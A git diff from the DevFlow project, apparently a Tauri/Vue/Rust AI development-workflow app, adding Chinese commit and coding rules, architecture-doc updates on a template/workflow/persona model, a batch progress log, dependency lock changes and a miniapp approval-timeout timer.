6. **不要写无意义提交**:如"更新"、"修复"、"提交"等无法看出内容的单字提交
7. **改动较多的提交**:主题行概括后,空一行用列表展开具体条目
8. **文档和代码合并提交**:文档更新和对应代码改动放在同一个提交中,不分散
## 示例
```
修复: 审批按钮永久转圈和等待计数不停
```
```
新增: 文件浏览器增强(窗口分离/Git 变更/行号/Diff/分页提交历史)
- 窗口分离: FileExplorer 可弹出独立 Tauri 窗口
- 行号显示: 文件预览左侧显示行号列
- Diff 视图: 有 Git 变更的文件可切换 diff 红绿视图
- 提交详情: 点击提交查看变更文件列表及文件级 diff
- 中文编码修复: git 命令注入 LC_ALL 环境变量
```

View File

@@ -0,0 +1,29 @@
# DevFlow 开发规则
## 技术栈
- 桌面端: Tauri v2 + Vue 3 + TypeScript + Pinia
- 后端: Rust Workspace (8 crate) / SQLite
- 包管理: bun (前端) / cargo (Rust)
- 路径: `E:/wk-lab/devflow`
## 架构原则
1. **治本不治标**:修复问题时找到根因,不做表面补丁
2. **DRY 原则**:不重复代码,抽象出可复用逻辑
3. **长远考虑**:不追求局部最优,考虑整体架构演进
4. **修改收敛**:同类改动合并到一个批次提交,不零散提交
## 代码规范
1. **Rust 后端**:提交前运行 `cd src-tauri && cargo check`
2. **前端 TypeScript/Vue**:提交前运行 `npx vue-tsc --noEmit`
3. **完整构建**:提交前运行 `npx vite build`(验证构建不报错)
4. **TypeScript 文件名**camelCase`fileExplorer.ts`
5. **Vue 组件文件名**PascalCase`FileExplorer.vue`
## i18n
- 中英文双语言同步:`src/i18n/en/``src/i18n/zh-CN/`
- 新增组件时同时添加对应语言的翻译文件
- 国际化文件自动聚合(`src/i18n/*/index.ts` 自动导入所有模块文件)

View File

@@ -1,6 +1,6 @@
# DevFlow — 产研全流程工作流平台 # DevFlow — 产研全流程工作流平台
> 版本: v0.1.0 | 创建: 2026-06-10 | 状态: 设计阶段 > 版本: v0.1.0 | 创建: 2026-06-10 | 状态: Phase 2 本地优先开发流程验证
## 一、项目定位 ## 一、项目定位
@@ -19,7 +19,9 @@
- **经验进化 (Evolution)**:开发过程中的模式自动沉淀为知识库(审查规则/Prompt模板/踩坑经验),持续进化复用 - **经验进化 (Evolution)**:开发过程中的模式自动沉淀为知识库(审查规则/Prompt模板/踩坑经验),持续进化复用
- **阶段插件**:想法→需求→编码→测试→发布,阶段即模板 - **阶段插件**:想法→需求→编码→测试→发布,阶段即模板
### 层级模型 ### 层级模型(业务层级)
DevFlow 的业务抽象分三层,自上而下层层实例化:
``` ```
💡 Idea Pool (想法池) — 独立运转,持续捕捉和评估 💡 Idea Pool (想法池) — 独立运转,持续捕捉和评估
@@ -31,6 +33,40 @@
└→ 🎯 Release (发布) — 合并多个 Task → 集成测试 → 发布 └→ 🎯 Release (发布) — 合并多个 Task → 集成测试 → 发布
``` ```
### 层级模型(执行层级)
Workflow DAG 的执行层进一步拆分为三层,这是 AI Factory 的核心抽象:
```
┌──────────────────────────────────────────────────┐
│ 模板层 (Template) │
│ "应该做什么" — 阶段蓝图、行业最佳实践 │
│ │
│ 职责: 定义节点拓扑 + 产出物规范 + 质量门禁 │
│ 生命周期: 长期存在,跨项目复用 │
│ 存储: YAML 文件 / DB 模板库 │
├──────────────────────────────────────────────────┤
│ 工作流层 (Workflow) │
│ "怎么执行" — DAG 实例、状态机、运行时 │
│ │
│ 职责: 拓扑排序 + 节点调度 + 状态流转 + 持久化 │
│ 生命周期: 随项目启动/结束,单次执行后归档 │
│ 载体: df-workflow (DAG + Executor + StateMachine) │
├──────────────────────────────────────────────────┤
│ 人设层 (Persona) │
│ "谁来做" — Agent 角色、能力边界、行为风格 │
│ │
│ 职责: 定义 system prompt + 可用工具 + 输出格式 │
│ 生命周期: 长期存在,跨节点复用 │
│ 注入点: AINode 执行时载入对应人设 │
└──────────────────────────────────────────────────┘
```
**关键设计原则**:三层各自独立演化,在 AINode 执行时交汇。
- 模板 = 可复用的蓝图(定义节点拓扑 + 建议人设 + 质量门禁)
- 工作流 = 模板的运行时实例(含状态、数据绑定、执行记录)
- 人设 = Agent 的角色卡system prompt + 工具集 + 行为规则)
### AI Working 定位体系 ### AI Working 定位体系
DevFlow 的终极交互模型是 **AI 驱动 (AI Working)****AI 是系统的主要操作者,人是监督者与决策者**。 DevFlow 的终极交互模型是 **AI 驱动 (AI Working)****AI 是系统的主要操作者,人是监督者与决策者**。
@@ -119,7 +155,7 @@ DevFlow 的终极交互模型是 **AI 驱动 (AI Working)****AI 是系统的
devflow/ devflow/
├── Cargo.toml # Workspace 根 ├── Cargo.toml # Workspace 根
├── crates/ ├── crates/
│ ├── df-core/ # 核心类型、错误、常量、事件 │ ├── df-types/ # 核心类型、错误、常量、事件、augmentation
│ ├── df-workflow/ # 工作流 DAG 引擎 (核心) │ ├── df-workflow/ # 工作流 DAG 引擎 (核心)
│ ├── df-nodes/ # 内置节点集合 (AI/Script/Human) │ ├── df-nodes/ # 内置节点集合 (AI/Script/Human)
│ ├── df-ai/ # AI 编排层 (Multi-Provider/Coordinator) │ ├── df-ai/ # AI 编排层 (Multi-Provider/Coordinator)
@@ -497,20 +533,26 @@ CREATE TABLE app_settings (
-- 内部表: schema_version (version INTEGER PRIMARY KEY) — 迁移版本记录 -- 内部表: schema_version (version INTEGER PRIMARY KEY) — 迁移版本记录
``` ```
## 七、阶段模板 ## 七、三层模型:模板 → 工作流 → 人设
5 个内置阶段作为工作流模板YAML 定义),用户可自定义。 > 本章详细设计已迁至专项文档,详见 [docs/02-架构设计/专项设计/三层模型-流程模板与人设体系-2026-06-28.md](./docs/02-架构设计/专项设计/三层模型-流程模板与人设体系-2026-06-28.md)。此处仅保留摘要性定义。
- 💡 **想法**:市场分析 → 竞品调研 → 可行性评分 ### 7.1 三层定义
- 📋 **需求**AI 生成 PRD → 人工审阅 → 任务拆解
- 💻 **编码**AI 编码 → 代码审查 → 自动修复 | 层 | 回答的问题 | 本质 | 生命周期 | 当前状态 |
- 🧪 **测试**:运行测试 → AI 分析失败 → 回归验证 |----|-----------|------|---------|---------|
- 🚀 **发布**:构建 → 人工确认 → 部署 → 健康检查 | **流程模板 (Template)** | 应该做什么 | 可复用的蓝图(节点拓扑 + 建议人设 + 质量门禁) | 长期存在,跨项目复用 | ⚡ 需重新设计(原 df-stages 已移除) |
| **工作流 (Workflow)** | 怎么执行 | 模板的运行时实例DAG + 状态 + 数据绑定) | 随项目启停,单次执行归档 | ✅ df-workflow 核心完成 |
| **人设 (Persona)** | 谁来做 | Agent 角色卡system prompt + 工具集 + 行为规则) | 长期存在,跨节点复用 | ⬜ 待设计 |
**关键原则**:模板不绑定具体人设、工作流不感知人设、人设与模板解耦。
详细定义、三者关系、实例化流程、数据结构及 YAML 模板示例见 [专项设计文档](./docs/02-架构设计/专项设计/三层模型-流程模板与人设体系-2026-06-28.md)。
## 八、Phase 规划 ## 八、Phase 规划
### Phase 1 — 引擎骨架 (4-6 周) ### Phase 1 — 引擎骨架 (4-6 周)
- df-core + df-workflow (DAG + Node trait + Executor) - df-types + df-workflow (DAG + Node trait + Executor)
- df-storage (SQLite 基础表) - df-storage (SQLite 基础表)
- df-execute (Shell 执行) - df-execute (Shell 执行)
- 最小前端:项目列表 + 工作流执行日志 - 最小前端:项目列表 + 工作流执行日志
@@ -528,9 +570,10 @@ CREATE TABLE app_settings (
- 前端:想法池视图 + 多项目 Tab - 前端:想法池视图 + 多项目 Tab
- 验证:想法捕捉 → AI 评估 → 立项 → 工作流执行 - 验证:想法捕捉 → AI 评估 → 立项 → 工作流执行
### Phase 4 — 节点丰富 + 阶段插件 (3-4 周) ### Phase 4 — 节点丰富 + 三层模型落地 (3-4 周)
- df-nodes (Docker/Git/Human/HTTP) - df-nodes (Docker/Git/Human/HTTP)
- ~~df-stages (5 阶段模板)~~ — 已移除2026-06-14 零引用清理 - 流程模板系统YAML 定义 + 模板库 + 实例化引擎
- 人设系统AgentPersona 数据结构 + 内置人设 + 工具过滤)
- 条件分支 + 断点续跑 - 条件分支 + 断点续跑
- 验证:跑通标准产研流程模板 - 验证:跑通标准产研流程模板
@@ -566,3 +609,6 @@ CREATE TABLE app_settings (
8. **本地优先**SQLite 嵌入,不依赖云服务 8. **本地优先**SQLite 嵌入,不依赖云服务
9. **多模型并行**:统一抽象,按任务路由,不锁定单一模型 9. **多模型并行**:统一抽象,按任务路由,不锁定单一模型
10. **流式优先**AI 输出、Shell 输出全部流式推送到前端 10. **流式优先**AI 输出、Shell 输出全部流式推送到前端
11. **模板/工作流/人设三层分离**:模板是蓝图,工作流是实例,人设是角色卡。三层各自独立演化,在 AINode 执行时交汇
12. **人设与模板解耦**:模板标注建议人设但不绑定,同一个人设可用于不同模板的同类节点
13. **模板实例化**:模板 → 工作流实例 + 人设分配,允许实例化时按项目覆盖人设

194
Batch.md Normal file
View File

@@ -0,0 +1,194 @@
# DevFlow 批次推进记录
> 记录每个批次的提交 hash、改动内容和交付价值。
> 最后更新: 2026-06-29 | 最新提交: `c6df455`
---
## Batch 1 — 审批超时后端兜底
- **提交**: `b923d70`(后重写为 `9dd5a5a`)
- **内容**:
- 新增 `agentic/approval_timeout.rs`,在审批恢复入口检测超时,超时自动取消并写入审计
- 待审批记录新增创建时刻字段,用于超时判定
- 应用启动时从设置恢复超时配置(默认 15 分钟0 为禁用)
- 新增读写超时配置的接口,设置页可改
- 与前端共用同一个配置项,保证单一真相源
- **验证**: cargo check 通过
---
## Batch 2 — 工具卡片拆分核验
- **提交**: `e95a5cd`(后重写为 `45fc493`)
- **内容**:
- 核验发现工具卡片拆分任务实际已完成,文档标记滞后
- ToolCard.vue 从 1527 行降至 373 行
- 审批状态机独立为 useToolApproval.ts220 行)
- 头部逻辑、渲染逻辑、通用工具函数各自独立
- 大型文件拆分三项全部完成(主聊天组件/命令注册/通用 CRUD
- **验证**: 文档核验,无代码改动
---
## Batch 3 — 条件表达式 UI 翻译补齐
- **提交**: `e460e8d`(后重写为 `d79c816`)
- **内容**:
- 工作流条件表达式引擎和执行器集成早已完成
- 前端边条件编辑入口已存在,但翻译缺失(用中文兜底)
- 补齐中英文翻译(工作流结构标题/层标签/空态/边条件编辑器)
- 核验确认条件引擎全部链路均已落地
- **验证**: vue-tsc 通过
---
## Batch 4 — 知识提炼切读消息表
- **提交**: `6aac7ef`(后重写为 `f57c37e`)
- **内容**:
- 知识提炼是最后一个仍读旧消息 JSON 列的路径
- 改为优先读消息表,表空时回退旧 JSON老库兼容
- 复用既有的记录转消息映射函数,与其他读路径同源
- 至此消息存储拆分全部完成
- **验证**: cargo check 通过
---
## Batch 5 — 关闭已完成待办项
- **提交**: `59b7188`(后重写为 `694f24f`)
- **内容**:
- 工具卡片分组标题增强(文件路径摘要展示)已落地
- 重试持锁问题核验无影响(多会话改造后全局锁已移除)
- 对抗式评估批量命令暂不做(单项已接入,批量无消费方)
- 残留诊断代码已清理(无硬编码绝对路径)
- 工程内路径授权政策确认为白名单制
- **验证**: 文档核验
---
## Batch 6 — 应用状态拆分 + 事件分发统一 + 路径授权治本
- **提交**: `996f1d9`
- **内容**:
- **状态文件拆分**: 1416 行单文件 → 按职责分模块(授权白名单/知识库配置/并发控制)
- **事件分发器统一**: 5 类生命周期事件纳入主事件联合类型,删除第二监听器,一个事件源一个监听器一个分发器
- **路径授权去硬编码**: 不再硬塞编译期路径到白名单,工程根授权靠项目绑定目录 + 设置页配置
- **补丁**: `cc3ef5b` — 修复设置页面崩溃(模块循环依赖导致初始化失败)
- **验证**: cargo check + vue-tsc 通过
---
## Batch 7 — 小程序配置持久化与心跳闭环
- **提交**: `cb7e1fc`
- **内容**:
- **配置持久化**: 运行时配置接入 storage懒加载恢复新增重置函数
- **心跳 pong 闭环**: 中继服务识别小程序心跳 ping 直接回 pong不经桌面端透传小程序看门狗据此判活
- **文档同步**: 关闭条件引擎/streaming per-conv/workspace_root 三项已完成的待决策
- **验证**: cargo checkdevflow + df-relay通过
---
## Batch 8 — 消息分页懒加载与事件总线空转优化
- **提交**: `3c18dea`
- **内容**:
- **消息分页**: 消息仓库新增分页查询方法(从尾部取最近 N 条,支持游标),切换对话返回最近 50 条 + 游标,新增加载更多接口
- **事件总线优化**: 发布事件前先检查订阅者数量,无订阅者跳过序列化(消除空转开销)
- **核验关闭**: 对话上下文透明化三项均已落地(目标可见/项目增强预览/完整上下文面板)
- **验证**: cargo check 通过
---
## Batch 9 — 项目多工程系统(数据层)
- **提交**: `b72df78`
- **内容**:
- **数据层**: project_modules 表V34 迁移)+ ProjectModuleRepo 完整 CRUD
- **后端接口**: 工程增删改查 + Git 状态查询(实时跑 git 命令返回分支/改动/提交10s 超时)
- **创建项目适配**: 新建项目时自动创建一个工程(目录=绑定路径,技术栈=探测结果)
- **AI 工具**: list_project_modulesAI 了解项目工程结构)
- **设计文档**: 新增工程系统设计方案
- **验证**: cargo check 通过
---
## Batch 10 — 项目文件浏览器(前端 UI
- **提交**: `50aad37`
- **内容**:
- **后端接口**: 文件树查询(列目录 + Git 状态合并 + 噪音过滤 + 路径穿越防御)+ 文件读取(文本/图片/二进制1MB 上限)
- **文件树组件**: 递归树形展示懒加载子目录Git 状态标记(橙=修改/绿=新增/灰=未跟踪)
- **文件预览组件**: 代码文本/图片/二进制三分支,加载状态
- **主容器**: 工程选择(单工程隐藏)+ 面包屑导航 + 刷新
- **集成**: 项目详情页新增"文件"Tab
- **国际化**: 中英文同步
- **验证**: cargo check + vue-tsc 通过
---
## Batch 11 — Git 只读 AI 工具
- **提交**: `7b5b62d`
- **内容**:
- **git_status**Low 自动执行): 工作区状态结构化(分支 + 改动文件列表 + 状态标记)
- **git_diff**Low: 改动详情(统计 + patch 截断到 8000 字符防 token 爆)
- **git_log**Low: 提交历史结构化(哈希/作者/消息/日期)
- 所有 git 命令在工程目录执行10s 超时,无 Git 仓库返回空状态
- **验证**: cargo check 通过
---
## Batch 12 — Git 写操作 AI 工具
- **提交**: `0cfea6d`
- **内容**:
- **git_commit**Medium 审批): 提交工作区改动,提交前检查敏感文件(.env/.key/.pem
- **git_branch**Medium 审批): 分支列表/创建/切换
- **git_merge**High 审批): 合并分支,自动检测冲突返回冲突文件列表
- 安全边界: 禁止 push / force / reset --hard
- **验证**: cargo check 通过
---
## 架构设计文档状态同步
- **提交**: `8d18918`
- **内容**: 9 份设计文档状态批量更新(从"待实施"改为"已落地"1 份归档(规格契约自检被其他机制覆盖)
---
## 提交注释规范重写
- **内容**: Batch 1-5 的提交注释经 filter-branch 重写消除内部代号Batch/P1/P2/L1/F-09 等),统一为"两字动词 + 冒号"格式(新增/修复/更新)
---
## Batch 13 — 文件浏览器增强(行号/图标/Diff/Git 变更面板/窗口分离)
- **提交**: `c6df455`
- **内容**:
- **行号显示**: 文件预览左侧行号列
- **后缀图标**: 20+ 文件类型彩色 SVG 图标(rs/ts/js/vue/css/html/json/md/sh/sql 等)
- **Diff 视图**: 有 Git 变更的文件可切换内容/Diff 红绿视图
- **Git 变更面板**: 文件树侧栏切换至变更视图,变更文件列表(按目录缩进分组)+提交历史(分页 50 条)
- **提交详情**: 点击提交行展开变更文件列表,点文件查看该文件 diff
- **提交时间显示**: 相对时间(刚刚/N分钟前)+超过 30 天显示具体日期
- **窗口分离**: FileExplorer 可弹出独立 Tauri 窗口
- **中文编码修复**: git 命令注入 LANG/LC_ALL UTF-8 环境变量,修复中文乱码
- **多工程管理 UI**: 工具栏添加工程按钮+弹窗表单
- **文件变更自动刷新**: write_file/patch_file 触发 df-data-changed 事件,AI 写入后自动刷新
- **面包屑不丢预览**: 面包屑导航时保留当前预览文件
- **刷新保留选中文件**: 只清树缓存不清预览
- **自适应布局**: 弹性 flex 布局,窄窗口自适应
- **审批超时 130s->30s**: 按钮级 loading 超时缩短
- **阶段进度条隐藏**: 装饰性元素,待接入真实状态机后启用
- **验证**: cargo check + vue-tsc + vite build 通过
---
## 未纳入批次的其他会话改动
- `src/composables/ai/aiShared.ts` + `src/stores/ai.ts` — 循环依赖修复Batch 6 补丁 `cc3ef5b` 纳入提交)

23
Cargo.lock generated
View File

@@ -859,6 +859,8 @@ dependencies = [
"tauri-plugin-window-state", "tauri-plugin-window-state",
"tokio", "tokio",
"tracing", "tracing",
"tracing-appender",
"tracing-subscriber",
"tree-sitter", "tree-sitter",
"tree-sitter-go", "tree-sitter-go",
"tree-sitter-java", "tree-sitter-java",
@@ -879,6 +881,7 @@ dependencies = [
"df-types", "df-types",
"eventsource-stream", "eventsource-stream",
"futures", "futures",
"rand",
"reqwest 0.12.28", "reqwest 0.12.28",
"serde", "serde",
"serde_json", "serde_json",
@@ -966,6 +969,7 @@ dependencies = [
"df-types", "df-types",
"serde", "serde",
"serde_json", "serde_json",
"thiserror 2.0.18",
"tokio", "tokio",
"tracing", "tracing",
] ]
@@ -4201,6 +4205,12 @@ dependencies = [
"serde_json", "serde_json",
] ]
[[package]]
name = "symlink"
version = "0.1.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a7973cce6668464ea31f176d85b13c7ab3bba2cb3b77a2ed26abd7801688010a"
[[package]] [[package]]
name = "syn" name = "syn"
version = "1.0.109" version = "1.0.109"
@@ -5039,6 +5049,19 @@ dependencies = [
"tracing-core", "tracing-core",
] ]
[[package]]
name = "tracing-appender"
version = "0.2.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "050686193eb999b4bb3bc2acfa891a13da00f79734704c4b8b4ef1a10b368a3c"
dependencies = [
"crossbeam-channel",
"symlink",
"thiserror 2.0.18",
"time",
"tracing-subscriber",
]
[[package]] [[package]]
name = "tracing-attributes" name = "tracing-attributes"
version = "0.1.31" version = "0.1.31"

View File

@@ -23,7 +23,7 @@
| Crate | 文件数 | 总行数 | 有效行 | 实现程度 | | Crate | 文件数 | 总行数 | 有效行 | 实现程度 |
|-------|--------|--------|--------|---------| |-------|--------|--------|--------|---------|
| df-core | 4 | 429 | ~260 | ✅ 完整 — 错误/事件/状态枚举/ID生成 | | df-types | 4 | 429 | ~260 | ✅ 完整 — 错误/事件/状态枚举/ID生成/augmentation |
| df-workflow | 9 | 908 | ~620 | ✅ 核心 — DAG拓扑排序/执行器/状态机/事件总线 可用 | | df-workflow | 9 | 908 | ~620 | ✅ 核心 — DAG拓扑排序/执行器/状态机/事件总线 可用 |
| df-storage | 5 | ~2,100 | ~1,400 | ✅ 完整 — 连接/迁移/建表(V1-V8) + impl_repo! 宏 CRUD + KnowledgeReposearch/list_by_status/set_embedding/search_vector 等)+ 余弦相似度工具函数 | | df-storage | 5 | ~2,100 | ~1,400 | ✅ 完整 — 连接/迁移/建表(V1-V8) + impl_repo! 宏 CRUD + KnowledgeReposearch/list_by_status/set_embedding/search_vector 等)+ 余弦相似度工具函数 |
| df-execute | 5 | 203 | 129 | ✅ Shell 执行器真实可用tokio::process被 run_command 复用) | | df-execute | 5 | 203 | 129 | ✅ Shell 执行器真实可用tokio::process被 run_command 复用) |
@@ -59,7 +59,7 @@
``` ```
真实可用路径(有端到端逻辑): 真实可用路径(有端到端逻辑):
df-core (类型基础) df-types (类型基础)
→ df-workflow (DAG 拓扑排序 + 执行器 + 状态机 + EventBus) → df-workflow (DAG 拓扑排序 + 执行器 + 状态机 + EventBus)
→ df-execute/shell (tokio::process Shell 执行) → df-execute/shell (tokio::process Shell 执行)
→ df-storage (SQLite 连接 + 迁移 + 建表) → df-storage (SQLite 连接 + 迁移 + 建表)
@@ -98,7 +98,7 @@
| 任务 | 状态 | 说明 | | 任务 | 状态 | 说明 |
|------|------|------| |------|------|------|
| df-core 类型系统 | ✅ 完成 | 错误/事件/状态枚举/ID生成 | | df-types 类型系统 | ✅ 完成 | 错误/事件/状态枚举/ID生成/augmentation |
| df-workflow DAG 引擎 | ✅ 完成 | 拓扑排序/执行器/状态机/EventBus | | df-workflow DAG 引擎 | ✅ 完成 | 拓扑排序/执行器/状态机/EventBus |
| df-storage SQLite 基础表 | ✅ 完成 | 6 张表 + 4 索引,缺 CRUD | | df-storage SQLite 基础表 | ✅ 完成 | 6 张表 + 4 索引,缺 CRUD |
| df-execute Shell 执行 | ✅ 完成 | tokio::process 实现 | | df-execute Shell 执行 | ✅ 完成 | tokio::process 实现 |
@@ -190,7 +190,7 @@
### [Sprint 3] 2026-06-11 — Migrations V2 + Executor 并行化 + Tauri IPC三代理并行 ### [Sprint 3] 2026-06-11 — Migrations V2 + Executor 并行化 + Tauri IPC三代理并行
**工作内容**(三个子代理并行,目录互不重叠): **工作内容**(三个子代理并行,目录互不重叠):
- **Migrations V2**df-storage/df-core):版本推进到 2 — ideas 补 promoted_to/ai_analysis/scores、tasks 补 workflow_def_id/base_branch、workflow_executions 补 project_id/task_id、新建 branches 表(含 2 索引BranchRecord/BranchRepo/BranchStatus 枚举同步落地ALLOWED_COLUMNS 白名单 +8 列 - **Migrations V2**df-storage/df-types):版本推进到 2 — ideas 补 promoted_to/ai_analysis/scores、tasks 补 workflow_def_id/base_branch、workflow_executions 补 project_id/task_id、新建 branches 表(含 2 索引BranchRecord/BranchRepo/BranchStatus 枚举同步落地ALLOWED_COLUMNS 白名单 +8 列
- **Executor 并行化**df-workflow同层节点改 futures::join_all 并发三阶段模式串行准备→并发执行→串行收尾规避借用冲突StateMachine 增加转换校验(仅 Pending→Running、Running→Completed/Failed 合法set_xxx 改返回 Result4 个单测全绿(含并行耗时断言 <180ms、失败中止下游层 - **Executor 并行化**df-workflow同层节点改 futures::join_all 并发三阶段模式串行准备→并发执行→串行收尾规避借用冲突StateMachine 增加转换校验(仅 Pending→Running、Running→Completed/Failed 合法set_xxx 改返回 Result4 个单测全绿(含并行耗时断言 <180ms、失败中止下游层
- **Tauri IPC**src-tauriAppStatedb + 6 Repo + EventBus + NodeRegistry+ 17 个 commandproject/task/idea CRUD + run_workflow/list/get executionsrun_workflow 先落库 status=running 立即返回 execution_id事件经 app.emit("workflow-event") 转发前端完成后回写状态。注意NodeRegistry 不能用 default()script 工厂是 unimplemented! 占位),改为 new() + 手动注册真实 ScriptNode - **Tauri IPC**src-tauriAppStatedb + 6 Repo + EventBus + NodeRegistry+ 17 个 commandproject/task/idea CRUD + run_workflow/list/get executionsrun_workflow 先落库 status=running 立即返回 execution_id事件经 app.emit("workflow-event") 转发前端完成后回写状态。注意NodeRegistry 不能用 default()script 工厂是 unimplemented! 占位),改为 new() + 手动注册真实 ScriptNode
@@ -665,7 +665,7 @@
**遗留 / 下一步(修复批次建议)**: **遗留 / 下一步(修复批次建议)**:
- **批1 数据安全**: ①AI delete 改 soft_delete+ ②(补 restore/purge/list_trash 三工具,复用 ProjectRepo 对应方法) - **批1 数据安全**: ①AI delete 改 soft_delete+ ②(补 restore/purge/list_trash 三工具,复用 ProjectRepo 对应方法)
- **批2 阻塞 + 去重**: ③(:270/:271/:212 三处统一 spawn_blocking+ ④(抽公共 normalize_path 到 df-project/df-core+ ⑤tool_registry 复用 allowed_columns_for - **批2 阻塞 + 去重**: ③(:270/:271/:212 三处统一 spawn_blocking+ ④(抽公共 normalize_path 到 df-project/df-types+ ⑤tool_registry 复用 allowed_columns_for
- **批3 前端**: ⑥(补 i18n key+ ⑦(抽 src/utils/project.ts+ ⑧(全局 8 处 alert/confirm 换 Arco Modal - **批3 前端**: ⑥(补 i18n key+ ⑦(抽 src/utils/project.ts+ ⑧(全局 8 处 alert/confirm 换 Arco Modal
- ⚪ 可选: ⑨⑩⑪⑫ 按需 - ⚪ 可选: ⑨⑩⑪⑫ 按需
@@ -1031,6 +1031,18 @@
--- ---
### 2026-06-28 — 最新对话 DB & Log 诊断:审批死锁 + Windows 兼容 + 标题 LLM 失败
> 分析来源:`devflow-trace.log` + `devflow-dev.db` 最新对话 `d9aef24f`(语音输入应用需求)。
> 7 次工具连续失败后 L1 断路器熔断1 条 pending 审批导致全链路死锁。
- [ ] **P0 — 审批 pending 超时自动取消**`try_continue` 入口清理 >5min 的 pending。
- [ ] **P0 — `create_project` 加 auto_create_dir**:消除建项目→建目录→绑定的死锁链。
- [ ] **P1 — `run_command` 失败追加 shell 适配提示**:引导 LLM 改正 PowerShell 命令。
- [ ] **P1 — PowerShell 反斜杠自动转义**:消除 `os error 123`(Unicode 转义误识别)。
- [ ] **P2 — 标题摘要合并连续同 role**:避免标题 LLM 的 GLM 1214 拒绝。
- [ ] **P3 — migration V33 + L0-handshake 防抖**
## 七、开发约定 ## 七、开发约定
### 构建命令 ### 构建命令

View File

@@ -341,7 +341,7 @@ class WsClient {
} }
const text = res.data const text = res.data
if (!text) return if (!text) return
// 活性:任意入站帧更新(relay pong,用心跳期间入站消息替代判活) // 活性:任意入站帧更新(relay 回的 pong 心跳响应,用于半连接检测)
this.lastInboundAt = Date.now() this.lastInboundAt = Date.now()
// 握手阶段可能收到 relay 发的错误控制帧(relay.rs:200-238) // 握手阶段可能收到 relay 发的错误控制帧(relay.rs:200-238)

View File

@@ -215,6 +215,44 @@ function resetWatchdog(): void {
streamTimer = setTimeout(onStreamTimeout, STREAM_TIMEOUT_MS) streamTimer = setTimeout(onStreamTimeout, STREAM_TIMEOUT_MS)
} }
// ── 审批超时计时器(miniapp 补齐,对齐桌面 aiShared.startApprovalTimer)──
// 治「审批永久挂起」:用户没在 5min 内处理审批 → 自动拒绝(对应桌面端 APPROVAL_TIMEOUT_DEFAULT_MS=900000,
// miniapp 取 5min=300000 更符合移动端使用习惯)。每条审批独立计时,approve/拒绝/完成/切会话 清除。
const APPROVAL_TIMEOUT_MS = 300_000 // 5 分钟
const _approvalTimers = new Map<string, ReturnType<typeof setTimeout>>()
/** 启动审批超时计时器(AiApprovalRequired/AiDirAuthRequired 触发)。 */
function startApprovalTimer(tcId: string, toolName: string): void {
if (_approvalTimers.has(tcId)) return // 幂等
const timer = setTimeout(() => {
_approvalTimers.delete(tcId)
// 超时自动拒绝(对齐桌面端:到点调 aiApi.approve(id,false))
const idx = pendingApprovals.findIndex((p) => p.id === tcId)
if (idx >= 0) {
pendingApprovals.splice(idx, 1)
uni.showToast({ title: `审批超时已自动拒绝:${toolName}`, icon: 'none' })
// 发拒绝命令(device 收到后走 reject 链路,工具不执行,emit AiApprovalResult approved=false)
approve(tcId, false)
}
}, APPROVAL_TIMEOUT_MS)
_approvalTimers.set(tcId, timer)
}
/** 清除审批超时计时器(approve/拒绝/完成/切会话/断连调用)。 */
function clearApprovalTimer(tcId: string): void {
const t = _approvalTimers.get(tcId)
if (t) {
clearTimeout(t)
_approvalTimers.delete(tcId)
}
}
/** 清除所有审批计时器(切会话/断连/重连/终态)。 */
function clearAllApprovalTimers(): void {
for (const t of _approvalTimers.values()) clearTimeout(t)
_approvalTimers.clear()
}
/** 清除看门狗(终态/挂起/断连触发,timer 彻底停) */ /** 清除看门狗(终态/挂起/断连触发,timer 彻底停) */
function clearWatchdog(): void { function clearWatchdog(): void {
if (streamTimer) clearTimeout(streamTimer) if (streamTimer) clearTimeout(streamTimer)
@@ -468,6 +506,8 @@ export function handleEvent(event: AiChatEvent): void {
// 移除对应挂起审批(若有) // 移除对应挂起审批(若有)
const idx = pendingApprovals.findIndex((p) => p.id === event.id) const idx = pendingApprovals.findIndex((p) => p.id === event.id)
if (idx >= 0) pendingApprovals.splice(idx, 1) if (idx >= 0) pendingApprovals.splice(idx, 1)
// 审批计时器:工具完成 → 清(审批已生效)
clearApprovalTimer(event.id)
// P2-E:工具执行完成 → 清回填标志(审批已生效执行,不再回填) // P2-E:工具执行完成 → 清回填标志(审批已生效执行,不再回填)
if (lastApprovedTc.value && lastApprovedTc.value.id === event.id) { if (lastApprovedTc.value && lastApprovedTc.value.id === event.id) {
lastApprovedTc.value = null lastApprovedTc.value = null
@@ -495,6 +535,7 @@ export function handleEvent(event: AiChatEvent): void {
pendingApprovals.push(info) pendingApprovals.push(info)
} }
clearWatchdog() // 挂起等审批,停看门狗(用户操作后续生成会 reset 重启) clearWatchdog() // 挂起等审批,停看门狗(用户操作后续生成会 reset 重启)
startApprovalTimer(event.id, event.name) // 5min 超时自动拒绝兜底
const tc = findToolCall(event.id) const tc = findToolCall(event.id)
if (tc) { if (tc) {
tc.status = 'pending_approval' tc.status = 'pending_approval'
@@ -511,6 +552,7 @@ export function handleEvent(event: AiChatEvent): void {
} }
const idx = pendingApprovals.findIndex((p) => p.id === event.id) const idx = pendingApprovals.findIndex((p) => p.id === event.id)
if (idx >= 0) pendingApprovals.splice(idx, 1) if (idx >= 0) pendingApprovals.splice(idx, 1)
clearApprovalTimer(event.id) // 审批结果落定 → 清计时器
// P2-E:审批结果确认(批准/拒绝均落定)→ 清回填标志(该 id 已定,不再回填) // P2-E:审批结果确认(批准/拒绝均落定)→ 清回填标志(该 id 已定,不再回填)
if (lastApprovedTc.value && lastApprovedTc.value.id === event.id) { if (lastApprovedTc.value && lastApprovedTc.value.id === event.id) {
lastApprovedTc.value = null lastApprovedTc.value = null
@@ -520,6 +562,7 @@ export function handleEvent(event: AiChatEvent): void {
case 'AiDirAuthRequired': { case 'AiDirAuthRequired': {
clearWatchdog() // 挂起等授权,停看门狗 clearWatchdog() // 挂起等授权,停看门狗
startApprovalTimer(event.id, event.tool) // 5min 超时自动拒绝
// F-#95 P0-3:路径授权进 pendingApprovals(kind=path),chat 页渲染 once/always/deny 按钮 // F-#95 P0-3:路径授权进 pendingApprovals(kind=path),chat 页渲染 once/always/deny 按钮
// (替代旧 system 文案降级「请在桌面端处理」,miniapp 成轻量审批终端,治 loop 卡死)。 // (替代旧 system 文案降级「请在桌面端处理」,miniapp 成轻量审批终端,治 loop 卡死)。
const authInfo: AiToolCallInfo = { const authInfo: AiToolCallInfo = {
@@ -578,7 +621,7 @@ export function handleEvent(event: AiChatEvent): void {
generating.value = false generating.value = false
agentRound.value = 0 agentRound.value = 0
